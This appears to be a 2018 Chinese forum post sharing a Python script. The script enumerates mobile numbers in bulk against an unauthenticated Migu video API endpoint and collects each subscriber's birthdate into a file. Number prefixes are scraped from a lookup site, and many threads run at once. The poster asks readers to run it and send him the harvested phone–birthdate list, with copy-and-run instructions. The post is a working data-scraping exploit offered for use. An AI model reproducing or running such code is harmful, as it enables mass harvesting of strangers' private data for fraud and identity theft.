本帖最后由 q59541511 于 2018-10-25 15:55 编辑
[Python] 纯文本查看 复制代码 import requests
from lxml import etree
from threading import Thread
import time
def get_bdate(fristdatalist):
datalist=[]
for iphonenumber in range(10000):
number=fristdatalist+str(iphonenumber).zfill(4)
params = {
'user': 'guest',
'vt': '9',
'userId': number
}
response = requests.get('http://aikanvod.miguvideo.com/video/p/getUserLabelsForNd.jsp', params=params)
try:
bddatejson = response.json()
except Exception as e:
print('json失败')
continue
try:
data = number+'-'+bddatejson['longTable'][0]['labelValue']
datalist.append(data)
print(data)
except Exception as e:
print(number+'没有生日数据')
return datalist
def write_data(datalist):
strdatalist = '\n'.join(datalist)
with open('188data.txt','a') as f:
f.write(strdatalist)
def my_threading(frist_num):
write_data(get_bdate(frist_num))
def get_fristnumberlist(number):
response = requests.get('http://www.guisd.com/hd/'+str(number)+'/zhejiang/')
xpobj = etree.HTML(response.text)
fristnumberlist = xpobj.xpath('//*[@id="heilongjiang"]/dd//text()')[:-1]
return fristnumberlist
list = ['134','135','136','137','138','139','150','151','152','157','158','159','188']
for i in list:
numberalllist= get_fristnumberlist(i)
for num in numberalllist:
p = Thread(target=my_threading, args=(num,))
p.start()
time.sleep(3600)
我一会儿要去上学了,我没有服务器跑。谁跑下来了请发我一份谢谢
食用方法 c+v复制到txt然后保存为haha.py 下载模块然后在相对目录创建一个188data.txt
python3 haha.py
|